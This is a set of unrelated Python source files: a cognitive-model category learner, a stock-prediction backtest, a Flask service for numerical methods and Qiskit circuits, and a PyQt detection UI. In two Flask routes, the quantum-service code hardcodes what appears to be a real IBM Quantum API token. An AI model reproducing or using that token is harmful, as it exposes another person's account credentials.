weighted_list[i]]\n return return_position_and_value\n else:\n i = i + 1\n\ndef gibbs_sample_2(val_1, val_1_name, val_2, val_2_name):\n\n denom = val_1 + val_2\n num_1 = val_1/denom\n num_2 = val_2/denom\n\n test_value = random.random()\n\n if test_value <= num_1:\n return val_1_name\n else:\n return val_2_name\n\n \n\n\n\n\n\n \n\n\n###############################\n\nclass category_feature_links:\n\n def __init__ (self, cat_name, num_feat, num_val,\n\n mu_2_k_min_1= 0,\n sig_2_k_min_1 = 1,\n mu_hat_1_k_min_1= .1,\n mu_3_k_min_1 = .1,\n kappa = 1.8,\n omega = 2.2,\n sig_3_k = .5\n ):\n\n self.cat_name = cat_name\n self.num_feat = num_feat\n self.num_val = num_val\n\n self.c_prior = .5\n\n self.active_links = [[0.0 for j in range(num_val)]for j in range(num_feat)]\n\n\n\n self.mu_hat_1_k_min_1 = mu_hat_1_k_min_1\n \n self.mu_2_k_min_1 = mu_2_k_min_1\n self.sig_2_k_min_1 = sig_2_k_min_1\n \n self.mu_3_k_min_1 = mu_3_k_min_1\n self.sig_3_k = sig_3_k\n\n self.kappa = kappa\n self.omega = omega\n\n\n self.HGF_feat_and_val_list = [0.0 for i in range(num_feat)] # number of objects to generate = # of features in instance.\n\n\n for i in range(self.num_feat):\n val_list_HGF = [0.0 for j in range(self.num_val)] # generates an update object for each value(j) in feature(i).\n for j in range(num_val):\n link_name ='{0},{1}'.format(i,j)\n val_list_HGF[j] = u_o.update_single(link_name, mu_2_k_min_1,\n sig_2_k_min_1, mu_hat_1_k_min_1, mu_3_k_min_1,\n kappa, omega,sig_3_k )\n\n self.HGF_feat_and_val_list[i] = val_list_HGF\n\n\n def create_links(self, mu_2_k_min_1, sig_2_k_min_1, mu_hat_1_k_min_1,\n mu_3_k_min_1, kappa, omega, sig_3_k):\n\n\n \n self.mu_hat_1_k_min_1 = mu_hat_1_k_min_1\n \n self.mu_2_k_min_1 = mu_2_k_min_1\n self.sig_2_k_min_1 = sig_2_k_min_1\n \n self.mu_3_k_min_1 = mu_3_k_min_1\n self.sig_3_k = sig_3_k\n\n self.kappa = kappa\n self.omega = omega\n\n\n self.HGF_feat_and_val_list = [0.0 for i in range(num_feat)] # number of objects to generate = # of features in instance.\n\n \n for i in range(self.num_feat):\n val_list_HGF = [0.0 for j in range(self.num_val)] # generates an update object for each value(j) in feature(i).\n for j in range(num_val):\n link_name ='{0},{1}'.format(i,j)\n val_list_HGF[j] = u_o.update_single(link_name, mu_2_k_min_1,\n sig_2_k_min_1, mu_hat_1_k_min_1, mu_3_k_min_1,\n kappa, omega,sig_3_k )\n\n self.HGF_feat_and_val_list[i] = val_list_HGF\n\n #print (self.HGF_feat_and_val_list)\n\n #return?\n\n # check this list of lists?\n\n def get_value_weight_list(self, list_of_values):\n\n # returns a list of (inferred) feature weights for a list of update objects\n\n list_len = len(list_of_values)\n \n value_weight_list = [0.0 for i in range (list_len) ]\n\n for i in range(list_len):\n weight = list_of_values[i].get_mu_predicted()\n value_weight_list[i] = weight\n\n return value_weight_list\n\n\n \n\n def get_all_link_weights(self):\n\n list_of_link_weights = []\n\n for i in range(self.num_feat):\n current_feat = self.HGF_feat_and_val_list[i]\n #print (\"this is current feature weights {0}\".format(current_feat))\n link_strength_for_value_of_current_feature = self.get_value_weight_list(current_feat)\n\n \n list_of_link_weights.append(link_strength_for_value_of_current_feature)\n\n return list_of_link_weights\n\n ############################################\n ############################################\n\n def get_dynamic_parameters_for_individual_values_in_feature(self, list_of_values):\n\n # returns a list of (inferred) feature weights for a list of update objects\n\n list_len = len(list_of_values)\n \n dynamic_parameter_list = [0.0 for i in range (list_len) ]\n\n for i in range(list_len):\n dynamic_parameters = list_of_values[i].get_dynamic_parameter_values()\n #print (\"here are the dynamic parameters, looped from the cat_link obj\")\n #print (dynamic_parameters)\n dynamic_parameter_list[i] = dynamic_parameters\n\n return dynamic_parameter_list\n\n\n def get_dynamic_parameters_for_all_links(self):\n\n list_of_dynamic_parameters = []\n\n for i in range(self.num_feat):\n current_feat = self.HGF_feat_and_val_list[i]\n #print (\"this is current feature weights {0}\".format(current_feat))\n dynamic_parameters_for_values_of_current_feature = (\n self.get_dynamic_parameters_for_individual_values_in_feature(current_feat)\n )\n\n #if i == 0:\n # print (dynamic_parameters_for_values_of_current_feature)\n\n \n list_of_dynamic_parameters.append(dynamic_parameters_for_values_of_current_feature)\n\n #print (\"this is the list of parameters from the category link objects\")\n #print (list_of_dynamic_parameters)\n \n return list_of_dynamic_parameters\n\n#####################################################\n\n def activate_links(self, inst):\n\n all_link_weights = self.get_all_link_weights()\n \n\n \n #print(\"this is instance\")\n #print(inst)\n\n active_link_values = []\n for i in range (self.num_feat):\n feat = inst[i]\n# print(\"this is current feature {0}\".format(feat))\n links_for_feat = all_link_weights[i]\n \n\n for j in range(self.num_val):\n if feat[j] == 1:\n active_link_values.append(links_for_feat[j])\n self.active_links[i][j] = links_for_feat[j]\n\n else:\n self.active_links[i][j] = 0\n\n #print (\"all link weights\")\n #print (all_link_weights)\n\n #print(\"links currently active\")\n #print(self.active_links)\n\n return active_link_values\n \n def predict_category(self, inst):\n\n active_link_weights = self.activate_links(inst)\n weight_product = multiply_list(active_link_weights)\n category_strength = weight_product * self.c_prior\n\n return category_strength\n\n\n \n\n\n \n def update_links(self,feedback):\n\n #print (\"feedback is\")\n #print (feedback)\n\n for i in range(self.num_feat):\n #print (\"\\n \\n \\nfeature is\")\n #print (i)\n for j in range(self.num_val):\n\n# print (\"value is\")\n# print (j)\n# print (\"\\n \\n \\n \")\n if self.active_links[i][j] > 0:\n #print (\"\\n\\n feature being updated is\")\n #print (i)\n #print (\"value being updated is\")\n #print (j)\n #print (\" (feedback) value being used for updating is\")\n #print (feedback)\n self.HGF_feat_and_val_list[i][j].update(feedback)\n \n\n\n\n\n\n########################################################################################\n\n\n\n\n\n\n\n#########################################################################################\n\n\n\n\n\n\nclass multi_category_learner:\n\n def __init__(self, number_of_categories, number_of_features, number_of_values):\n\n self.num_cat = number_of_categories\n self.num_feat = number_of_features\n self.num_val = number_of_values\n\n self.all_dynamic_parameters = []\n\n self.list_of_cat_and_links = [0 for i in range (number_of_features)]\n\n for i in range(number_of_categories):\n\n self.list_of_cat_and_links[i] = category_feature_links(i,number_of_features,\n number_of_values)\n\n\n\n def set_feature_value_strengths_and_piors_for_categories( mu_2_k_min_1,\n sig_2_k_min_1, mu_hat_1_k_min_1, mu_3_k_min_1, kappa, omega, sig_3_k ):\n\n \n\n for i in range(self.num_cat):\n self.list_of_cat_and_links[i].create_links( mu_2_k_min_1,\n sig_2_k_min_1,mu_hat_1_k_min_1, mu_3_k_min_1, kappa, omega, sig_3_k )\n\n\n def create_weighted_categories(self, inst):\n \n category_weights = []\n for i in range(self.num_cat):\n \n current_cat_weight = self.list_of_cat_and_links[i].predict_category(inst)\n category_weights.append(current_cat_weight)\n\n #print (category_weights)\n \n\n self.category_weights = category_weights\n\n\n def select_category(self):\n\n sum_i = 0\n normalized_weights = []\n for i in range(len(self.category_weights)):\n sum_i = sum_i + self.category_weights[i]\n\n for i in range(len(self.category_weights)):\n normalized_weight = self.category_weights[i]/sum_i\n normalized_weights.append(normalized_weight)\n\n #print(\"normalized weights\")\n #print (normalized_weights)\n\n self.selected_cat_and_weight = gibbs_sample(normalized_weights)\n\n self.selected_cat = self.selected_cat_and_weight[0]\n\n selected_cat = self.selected_cat_and_weight[0]\n\n return selected_cat\n\n def categorize_instance(self, instance):\n \n self.create_weighted_categories(instance)\n category_chosen = self.select_category()\n #print (\"chosen category is\")\n #print (category_chosen)\n return category_chosen\n\n def process_feedback(self, actual_category, feedback, feedback_type = 'category'):\n\n self.list_of_cat_and_links[self.selected_cat]\n\n\n #print (\"\\n\\n category being updated is\")\n #print (self.selected_cat)\n #print (\"actual category is\")\n #print (actual_category)\n #print(\" feedback is\")\n #print (feedback)\n \n \n\n if actual_category == 'none':\n# print(\"this is the feedback to be processed\")\n# print (feedback)\n self.list_of_cat_and_links[self.selected_cat].update_links(feedback)\n\n else:\n if feedback == self.selected_cat:\n feedback = 1\n else:\n feedback = 0\n \n self.list_of_cat_and_links[self.selected_cat].update_links(feedback)\n\n def check_dynamic_parameters_for_all_categories(self):\n \n all_parameters = []\n \n for i in range(self.num_cat):\n current_cat = self.list_of_cat_and_links[i]\n new_parameter_values = current_cat.get_dynamic_parameters_for_all_links()\n all_parameters.append(new_parameter_values)\n\n self.all_dynamic_parameters = all_parameters\n\n\n def get_dynamic_parameters_for_all_categories(self):\n\n all_parameters = self.all_dynamic_parameters\n\n return all_parameters\n\n \n \n \n \n \n\n \n \n\n\n \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n","sub_path":"most_recent_hgf_2018_working_backups/Category_link_objects_binary_gibbs_Dec_9_2015.py","file_name":"Category_link_objects_binary_gibbs_Dec_9_2015.py","file_ext":"py","file_size_in_byte":13029,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"267537708","text":"from sklearn import tree\r\nfrom sklearn.model_selection import train_test_split\r\nimport pickle\r\nimport numpy as np\r\nfrom sklearn import model_selection\r\nfrom sklearn import decomposition\r\nimport pandas as pd\r\nfrom sklearn import metrics\r\nfrom sklearn import ensemble\r\nimport graphviz\r\n\r\n\r\n# 코드-이름 딕셔너리: 확장할 종목\r\nnames = ['현대시멘트', '대호에이엘', '대아티아이', '부산산업', '옴니텔', '동성제약', '테라젠이텍스', '루트로닉', '삼성전자','현대차']\r\ncodes = ['006390', '069460', '045390', '011390', '057680', '002210', '066700', '085370','005930','005380']\r\n#thema = ['0','0','0','0','1','2','2','2','3','3']\r\nthema = ['0','0','0','0','0','0','0','0','3','3']\r\n\r\n\r\nname_dic ={}\r\nthema_dic = {}\r\n\r\nfor i in range(10):\r\n name_dic[codes[i]] = names[i]\r\n thema_dic[codes[i]] = thema[i]\r\n\r\n# 데이터 불러오기\r\nwith open('df_final8.pkl', 'rb') as f1:\r\n df_final = pickle.load(f1)\r\n\r\ndf_final = df_final.drop('hit_change', axis=1)\r\ndf_final = df_final.loc[df_final.index < '2018-05-28']\r\ndf_final = df_final.loc[df_final.index > '2017-07-31']\r\ndf_final = df_final.dropna()\r\ndf_final = df_final.sort_index()\r\n\r\n# v = [0,5,6,7,8]\r\nX_final = df_final.iloc[:, :-1]\r\n# X_final = df_final.iloc[:, v] #only p\r\ny_final = df_final.iloc[:, -1]\r\nprint(X_final)\r\n##pca 처리\r\n#pca = decomposition.PCA(n_components=5)\r\n#pca.fit(X_final)\r\n#X_final = pca.transform(X_final)\r\n\r\n\r\nX_train, X_test, y_train, y_test = train_test_split(X_final, y_final, test_size = 0.1,\r\n random_state = 0, shuffle = False)\r\n\r\nclf = tree.DecisionTreeClassifier(random_state=0,max_depth=10, min_samples_leaf=3)\r\n#clf = ensemble.RandomForestClassifier(random_state=0,max_depth=10, min_samples_leaf=3)\r\n\r\n\r\nclf = clf.fit(X_train, y_train)\r\ny_hat = clf.predict(X_test)\r\n\r\nmodel_acc = round((int(np.sum(y_hat==y_test))/int(len(y_test))*100),5)\r\nnaive_acc = round((int(np.sum(True==y_test))/int(len(y_test))*100),5)\r\nimprove = round(model_acc-naive_acc,5)\r\n\r\nprint('DT정확도: '+str(model_acc) +', vs naive정확도: '+ str(naive_acc)) \r\nprint(metrics.confusion_matrix(y_test, y_hat))\r\n\r\n# 종목별 결과\r\na =[]\r\nb =[]\r\nc =[]\r\n\r\n\r\nfor code in codes:\r\n a.append(np.sum((X_test['code'] == code) & (y_test == y_hat)))\r\n b.append(X_test[X_test['code'] == code].shape[0])\r\n c.append(np.sum((X_test['code'] == code) & y_test ==True))\r\n\r\n\r\n # print('name: %s, DT정확도: %f, naive정확도: %f' % (name_dic[code], round(int(a)/int(b)*100,5),\r\n # round(int(c)/int(b)*100,5)))\r\n\r\nres = pd.DataFrame({'code': codes,'name': names, 'thema': thema,'a':a, 'b':b, 'c':c})\r\n\r\nprint((res.groupby('thema')['a'].apply(sum)-res.groupby('thema')['c'].apply(sum))/\r\n res.groupby('thema')['b'].apply(sum)*100)\r\n\r\n\r\n#누적 수익률\r\nrtn = pd.DataFrame()\r\ncum = pd.DataFrame()\r\ncum_temp = X_test.loc[y_hat == True, ['code','rtn_1D']]\r\ncum_temp = cum_temp.drop_duplicates()\r\n\r\nfor code in codes:\r\n rtn[name_dic[code]] = cum_temp[cum_temp['code'] == code]['rtn_1D']\r\n rtn[name_dic[code]] = rtn[name_dic[code]].fillna(value = 0)\r\n cum[name_dic[code]] = np.cumsum(rtn[name_dic[code]])\r\n\r\ncum['avg'] = cum.mean(axis = 1)\r\nprint(round(cum.iloc[-1,-1]*100, 3))\r\n#print('DT 전략 누적 수익률: %f %' % round(cum.loc[np.max(cum.index), 'avg'] *100,2))\r\n\r\n\r\n# 전략 백테스트\r\n\r\nmodel = []\r\nnaive = []\r\nt = []\r\nr =[]\r\ndate = pd.date_range('2017-07-31', '2018-05-31', freq = 'M')\r\n\r\nfor i in range(8):\r\n df_final = df_final.drop_duplicates()\r\n X_final = df_final.iloc[:, :-1]\r\n y_final = df_final.iloc[:, -1]\r\n\r\n X_train = X_final.loc[X_final.index <= date[i+2]]\r\n X_train = X_train.loc[X_train.index > date[i]]\r\n X_test = X_final.loc[X_final.index <= date[i+3]]\r\n X_test = X_test.loc[X_test.index > date[i+2]]\r\n\r\n y_train = y_final.loc[y_final.index <= date[i+2]]\r\n y_train = y_train.loc[y_train.index > date[i]]\r\n y_test = y_final.loc[y_final.index <= date[i+3]]\r\n y_test = y_test.loc[y_test.index > date[i+2]]\r\n\r\n\r\n# X_final = df_final.iloc[0:160, :-1]\r\n# y_final = df_final.iloc[0:160, -1]\r\n\r\n # X_train, X_test, y_train, y_test = train_test_split(X_final, y_final, test_size = 1/3,\r\n # random_state = 0, shuffle = False)\r\n\r\n\r\n clf = clf.fit(X_train, y_train)\r\n y_hat = clf.predict(X_test)\r\n\r\n model_acc = round((int(np.sum(y_hat==y_test))/int(len(y_test))*100),5)\r\n naive_acc = round((int(np.sum(True==y_test))/int(len(y_test))*100),5)\r\n\r\n t.append(np.min(X_test.index))\r\n model.append(model_acc)\r\n naive.append(naive_acc)\r\n\r\n # 누적 수익률\r\n rtn = pd.DataFrame()\r\n cum = pd.DataFrame()\r\n cum_temp = X_test.loc[y_hat == True, ['code','rtn_1D']]\r\n cum_temp = cum_temp.drop_duplicates()\r\n\r\n for code in codes:\r\n rtn[name_dic[code]] = cum_temp[cum_temp['code'] == code]['rtn_1D']\r\n rtn[name_dic[code]] = rtn[name_dic[code]].fillna(value = 0)\r\n cum[name_dic[code]] = np.cumsum(rtn[name_dic[code]])\r\n\r\n cum['avg'] = cum.mean(axis = 1)\r\n a = float(round(cum.iloc[-1, -1] * 100, 5))\r\n r.append(a)\r\n\r\nresult = pd.DataFrame({'time': t, 'return': r, 'model': model, 'naive':naive})\r\nresult['improve'] = result['model']-result['naive']\r\n\r\nprint(result['return'].sum(axis=0))\r\n\r\nprint(result)\r\n\r\n\r\n","sub_path":"model_DT.py","file_name":"model_DT.py","file_ext":"py","file_size_in_byte":5353,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"125015717","text":"from flask import Flask, jsonify, request\nfrom flask_cors import CORS\nfrom qiskit import (\n IBMQ,\n QuantumCircuit,\n execute,\n ClassicalRegister,\n QuantumRegister\n)\nimport sys\nimport qiskit\nfrom PIL import Image, ImageDraw, ImageFont\nimport numpy as np\nimport os\nimport random\nfrom base64 import b64encode\nimport io\n\nfrom methods.ejemplo import prueba\nfrom methods.biseccion import biseccion as bise\nfrom methods.raices import raizMultiples as rmul\nfrom methods.reglaFalsa import reglaFalsa as rf\nfrom methods.incrementales import incrementales as incre\nfrom methods.newton import newton as new\nfrom methods.eliminacionSimple import Eliminacion as gaussSimple\nfrom methods.pivoteoParcial import Eliminacion as pivoteoParcial\nfrom methods.pivoteoTotal import Eliminacion as pivoteoTotal\nfrom methods.secante import secante\nfrom methods.biseccion import biseccion\nfrom methods.puntoFijo import punto_fijo as pf\nfrom methods.lagrange import lagrange as lag\nfrom methods.newtonInterpolacion import polinomio_newton as newI\nfrom methods.puntoFijo import punto_fijo\nfrom methods.lagrange import lagrange\nfrom methods.newtonInterpolacion import polinomio_newton\nfrom methods.incrementales import incrementales\nfrom methods.newton import newton\nfrom methods.eliminacionSimple import Eliminacion as gaussSimple\nfrom methods.pivoteoParcial import Eliminacion as pivoteoParcial\nfrom methods.pivoteoTotal import Eliminacion as pivoteoTotal\n\napp = Flask(__name__)\nCORS(app)\n\n\ndef createImg(lines):\n print(\"Generating image\")\n img_str = \"\"\n max_length = 0\n\n for line in lines:\n length = len(line)\n if length > max_length:\n max_length = length\n img_str += line\n\n img = Image.new(\"RGB\", (max_length*10, len(lines)*19),\n color=(255, 255, 255))\n writer = ImageDraw.Draw(img)\n\n console_font = ImageFont.truetype(\"clacon.ttf\", 22, encoding=\"unic\")\n\n writer.multiline_text((10, 10), u''+img_str,\n fill=(0, 0, 0), font=console_font)\n\n print(\"Converting image to base64..\")\n img_bytes_array = io.BytesIO()\n img.save(img_bytes_array, format=\"png\")\n img_bytes_array = img_bytes_array.getvalue()\n\n return \"data:image/png;base64,{}\".format(b64encode(img_bytes_array).decode('utf-8'))\n\n\n@app.route(\"/biseccion\")\ndef biseccion():\n xi = np.double(float(request.args.get('xi')))\n xs = np.double(float(request.args.get('xs')))\n tolerancia = np.double(float(request.args.get('tolerancia')))\n niter = np.double(float(request.args.get('niter')))\n\n return jsonify(bise(xi, xs, tolerancia, niter))\n\n\n@app.route(\"/incrementales\")\ndef incrementales():\n x0 = np.double(float(request.args.get('x0')))\n delta = np.double(float(request.args.get('delta')))\n niter = np.double(float(request.args.get('niter')))\n return jsonify(incre(x0, delta, niter))\n\n\n@app.route(\"/newton\")\ndef newton():\n x0 = np.double(float(request.args.get('x0')))\n tolerancia = np.double(float(request.args.get('tolerancia')))\n niter = np.double(float(request.args.get('niter')))\n return jsonify(new(x0, tolerancia, niter))\n\n\n@app.route(\"/puntoFijo\")\ndef punto_fijo():\n tolerancia = np.double(float(request.args.get('tolerancia')))\n xa = np.double(float(request.args.get('xa')))\n niter = np.double(float(request.args.get('niter')))\n return jsonify(pf(tolerancia, xa, niter))\n\n@app.route(\"/raiz\")\ndef raizMultiples():\n x0 = np.double(float(request.args.get('x0')))\n tolerancia = np.double(float(request.args.get('tolerancia')))\n niter = np.double(float(request.args.get('niter')))\n\n return jsonify(rmul(x0, tolerancia, niter))\n\n\n@app.route(\"/falsa\")\ndef reglaFalsa():\n xi = np.double(float(request.args.get('xi')))\n xs = np.double(float(request.args.get('xs')))\n tolerancia = np.double(float(request.args.get('tolerancia')))\n niter = np.double(float(request.args.get('niter')))\n\n return jsonify(rf(xi, xs, tolerancia, niter))\n\n\n@app.route(\"/secante\")\ndef _secante():\n x0 = np.double(float(request.args.get('x0')))\n x1 = np.double(float(request.args.get('x1')))\n tolerancia = np.double(float(request.args.get('tolerancia')))\n niter = np.double(float(request.args.get('niter')))\n return jsonify(secante(x0, x1, tolerancia, niter))\n\n\n@app.route(\"/eliminacionSimple\")\ndef _gaussSimple():\n A = [[2, -3, 4, 1], [-4, 2, 1, -2], [1, 3, -5, 3], [-3, -1, 1, -1]]\n b = [10, -10, 32, -21]\n n = 4\n return jsonify(gaussSimple(A, b, n))\n\n\n@app.route(\"/pivoteoParcial\")\ndef _pivoteoParcial():\n A = [[2, -3, 4, 1], [-4, 2, 1, -2], [1, 3, -5, 3], [-3, -1, 1, -1]]\n b = [10, -10, 32, -21]\n n = 4\n return jsonify(pivoteoParcial(A, b, n))\n\n\n@app.route(\"/pivoteoTotal\")\ndef _pivoteoTotal():\n A = [[2, -3, 4, 1], [-4, 2, 1, -2], [1, 3, -5, 3], [-3, -1, 1, -1]]\n b = [10, -10, 32, -21]\n n = 4\n return jsonify(pivoteoTotal(A, b, n))\n\n\n@app.route(\"/newtonInter\")\ndef newtonInter():\n n = np.double(float(request.args.get('n')))\n x = np.double(float(request.args.get('x')))\n y = np.double(float(request.args.get('y')))\n return jsonify(newI(new(n, x, y), n-1))\n\n\n@app.route(\"/lagrange\")\ndef lagrange():\n valor = np.double(float(request.args.get('valor')))\n x = np.double(float(request.args.get('x')))\n y = np.double(float(request.args.get('y')))\n return jsonify(lag(valor, x, y))\n\n\n@app.route(\"/\")\ndef hello():\n return \"quiskit_version: {}\\npython_version: {}\\nquiskit_libraries_version: {}

    Services

    • fourier
    • sumador
    • \".format(qiskit.__version__, sys.version, qiskit.__qiskit_version__)\n\n\n@app.route(\"/fourier\")\ndef fourier():\n IBMQ.save_account(\n \"1ba6efe6f9c85bbdbe55aa57be4085614f79aa3c626875a997e704379ce1064a55e51325337bc41a69408d5fef5f6e2a9410cf23f3325d03b8f4bce00d057c5a\")\n\n print(\"Connect with IBM\")\n provider = IBMQ.load_account()\n simulator = provider.get_backend('ibmq_qasm_simulator')\n circuit = QuantumCircuit(3, 2)\n\n circuit.h(0)\n circuit.cx(0, 1)\n circuit.measure([0, 1], [0, 1])\n\n print(\"Executing circuit in IBM machine\")\n job = execute(circuit, simulator, shots=1000)\n result = job.result()\n counts = result.get_counts(circuit)\n print(\"Saving the circuit temp file\")\n hashcode = random.random()\n circuit.draw(filename=\"circuit{}.temp\".format(hashcode))\n\n print(\"Serializind data\")\n tempCircuit = open(\"circuit{}.temp\".format(hashcode), \"r\", encoding=\"utf8\")\n circuitLines = tempCircuit.readlines()\n\n image = createImg(circuitLines)\n\n tempCircuit.close()\n os.remove(\"circuit{}.temp\".format(hashcode))\n\n response = {\"result\": {\n \"data\": list(counts.keys()),\n \"counts\": counts\n }, \"draw\": image}\n print(\"Done.\")\n return jsonify(response)\n\n\n@app.route(\"/sumador\")\ndef sumador():\n IBMQ.save_account(\n \"1ba6efe6f9c85bbdbe55aa57be4085614f79aa3c626875a997e704379ce1064a55e51325337bc41a69408d5fef5f6e2a9410cf23f3325d03b8f4bce00d057c5a\")\n\n print(\"Connect with IBM\")\n provider = IBMQ.load_account()\n simulator = provider.get_backend(\"ibmq_qasm_simulator\")\n\n hashcode = random.random()\n\n # Numbers sending for the user\n first = request.args.get('n1')\n second = request.args.get('n2')\n\n l = len(first)\n l2 = len(second)\n\n if l > l2:\n n = l\n else:\n n = l2\n\n a = QuantumRegister(n) # First number\n b = QuantumRegister(n+1) # Second number\n c = QuantumRegister(n) # Carry bits\n cl = ClassicalRegister(n+1) # Classical output\n circuit = QuantumCircuit(a, b, c, cl)\n\n print(\"Save circuit in first fase\")\n circuit.draw(filename=\"circuit{}_fase1.temp\".format(hashcode))\n\n # Setea los registros con los valores ingresados\n for i in range(l):\n if first[i] == \"1\":\n circuit.x(a[l - (i+1)]) # Flip the qubit from 0 to 1\n\n for i in range(l2):\n if second[i] == \"1\":\n circuit.x(b[l2 - (i+1)])\n\n print(\"Save circuit in second fase\")\n circuit.draw(filename=\"circuit{}_fase2.temp\".format(hashcode))\n\n for i in range(n-1):\n circuit.ccx(a[i], b[i], c[i+1])\n circuit.cx(a[i], b[i])\n circuit.ccx(c[i], b[i], c[i+1])\n\n circuit.ccx(a[n-1], b[n-1], b[n])\n circuit.cx(a[n-1], b[n-1])\n circuit.ccx(c[n-1], b[n-1], b[n])\n\n circuit.cx(c[n-1], b[n-1])\n\n for i in range(n-1):\n circuit.ccx(c[(n-2)-i], b[(n-2)-i], c[(n-1)-i])\n circuit.cx(a[(n-2)-i], b[(n-2)-i])\n circuit.ccx(a[(n-2)-i], b[(n-2)-i], c[(n-1)-i])\n # These two operations act as a sum gate; if a control bit is at\n # the 1> state then the target bit b[(n-2)-i] is flipped\n circuit.cx(c[(n-2)-i], b[(n-2)-i])\n circuit.cx(a[(n-2)-i], b[(n-2)-i])\n\n for i in range(n+1):\n circuit.measure(b[i], cl[i])\n\n print(\"Send to IBM machine\")\n job2 = execute(circuit, simulator, shots=1000)\n result = job2.result()\n counts = result.get_counts(circuit)\n\n print(\"Save circuit in third fase\")\n circuit.draw(filename=\"circuit{}_fase3.temp\".format(hashcode))\n\n print(\"Serializing data\")\n fase1 = open(\"circuit{}_fase1.temp\".format(hashcode), \"r\", encoding=\"utf8\")\n fase2 = open(\"circuit{}_fase2.temp\".format(hashcode), \"r\", encoding=\"utf8\")\n fase3 = open(\"circuit{}_fase3.temp\".format(hashcode), \"r\", encoding=\"utf8\")\n\n response = {\n \"result\": {\n \"data\": list(counts.keys()),\n \"counts\": counts\n },\n \"draws\": [createImg(fase1.readlines()), createImg(fase2.readlines()), createImg(fase3.readlines())]\n }\n\n fase1.close()\n fase2.close()\n fase3.close()\n\n os.remove(\"circuit{}_fase1.temp\".format(hashcode))\n os.remove(\"circuit{}_fase2.temp\".format(hashcode))\n os.remove(\"circuit{}_fase3.temp\".format(hashcode))\n\n print(\"Done.\")\n\n return jsonify(response)\n\n\nif __name__ == '__main__':\n app.run(threaded=True, debug=False)\n","sub_path":"__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":9880,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"209546391","text":"data = list(input())\n\nstart='A'\ntime=0\n\nfor i in data:\n left=ord(i) - ord(start)\n right = ord(start) - ord(i)\n\n if left<0:\n left+=26\n elif right <0:\n right+=26\n\n time+=min(left,right)\n start=i\n\nprint(time)\n","sub_path":"greedy/18238_ZOAC 2.py","file_name":"18238_ZOAC 2.py","file_ext":"py","file_size_in_byte":238,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"529235998","text":"import os\n\nfrom utils import *\n\n \n################################################################################\n################################################################################\n################################ Main controler ################################\n'''\nMaincontroler class\nJSON config.\nmust have \n'funtion_id' corresponding to dict with specific parameters\n'general' with general imformation for whole framework\n'[funtion_id]' dict with specific information \n it must have: \n 'file_list'\n'''\nclass MainControler:\n def __init__(self, main_functions, json_file='conf.json'):\n conf = u_getPath(json_file)\n self.confs_ = json.load(open(conf))\n self.func_dict_ = main_functions\n\n #...........................................................................\n '''\n This f collects information from json \n returns (a,b,c)\n a = parameters dict\n b = [file(s)] to compute\n '''\n def getInfo(self): \n individual = self.confs_[self.confs_['function_id']]\n file_list = u_loadFileManager( individual['file_list'])\n return {**self.confs_['general'], **individual}, file_list\n\n #...........................................................................\n '''\n This funtions post processing the whole data if previous process return \n something\n '''\n def postProcess(self, collected): pass\n\n #...........................................................................\n '''\n Main funtion that joins the abstract process\n '''\n def run(self):\n if 'run_flag' in self.confs_:\n if not self.confs_['run_flag']:\n #self.func_dict_[self.confs_['function_id']]\n #( \n # {**self.confs_['general'], \n # **self.confs_[self.confs_['function_id']]\n # }\n #)\n self.func_dict_[self.confs_['function_id']]('', {**self.confs_['general'], **self.confs_[self.confs_['function_id']]})\n else:\n self.conventional_pipeline()\n else:\n self.conventional_pipeline()\n\n #...........................................................................\n #...........................................................................\n def conventional_pipeline(self):\n params, fvector = self.getInfo()\n collected_out = []\n final = len(fvector)\n for i in range(final):\n out = self.func_dict_[self.confs_['function_id']](fvector[i], params)\n u_progress(i, final, 'I-', i)\n \n if out is not None:\n collected_out.append(out)\n\n if len(collected_out) > 0:\n self.postProcess(collected_out)\n\n################################################################################\n################################################################################","sub_path":"TemporalFeatures/interface.py","file_name":"interface.py","file_ext":"py","file_size_in_byte":2929,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"433831980","text":"from PyQt5 import QtCore, QtGui, QtWidgets\nfrom PyQt5 import QtCore, QtGui, QtWidgets\nfrom PyQt5.QtCore import QObject, pyqtSlot\nfrom PyQt5 import QtCore, QtGui, QtWidgets\nfrom PyQt5.QtGui import *\nfrom PyQt5.QtWidgets import *\nimport sys,glob\nimport numpy as np\nimport os\nimport six.moves.urllib as urllib\nimport tarfile\nimport tensorflow as tf\nimport zipfile\nfrom collections import defaultdict\nfrom io import StringIO\nfrom matplotlib import pyplot as plt\nfrom PIL import Image\nfrom object_detection.utils import ops as utils_ops\nfrom object_detection.utils import label_map_util\nfrom object_detection.utils import visualization_utils as vis_util\nimport cv2 \nimport shortcuts as sh\nimport about_ui as about\nimport webbrowser\n\n\nclass Ui_MainWindow(QObject):\n def setupUi(self, MainWindow):\n MainWindow.setObjectName(\"MainWindow\")\n MainWindow.setFixedSize(340, 241)\n sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(MainWindow.sizePolicy().hasHeightForWidth())\n MainWindow.setSizePolicy(sizePolicy)\n MainWindow.setMaximumSize(QtCore.QSize(340, 241))\n icon = QtGui.QIcon()\n icon.addPixmap(QtGui.QPixmap(\"./assets/img/icons8-camera-50.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\n MainWindow.setWindowIcon(icon)\n self.centralwidget = QtWidgets.QWidget(MainWindow)\n self.centralwidget.setObjectName(\"centralwidget\")\n self.groupBox = QtWidgets.QGroupBox(self.centralwidget)\n self.groupBox.setGeometry(QtCore.QRect(10, 10, 321, 181))\n self.groupBox.setObjectName(\"groupBox\")\n self.widget = QtWidgets.QWidget(self.groupBox)\n self.widget.setGeometry(QtCore.QRect(10, 20, 301, 151))\n self.widget.setObjectName(\"widget\")\n self.gridLayout = QtWidgets.QGridLayout(self.widget)\n self.gridLayout.setContentsMargins(0, 0, 0, 0)\n self.gridLayout.setObjectName(\"gridLayout\")\n self.horizontalLayout = QtWidgets.QHBoxLayout()\n 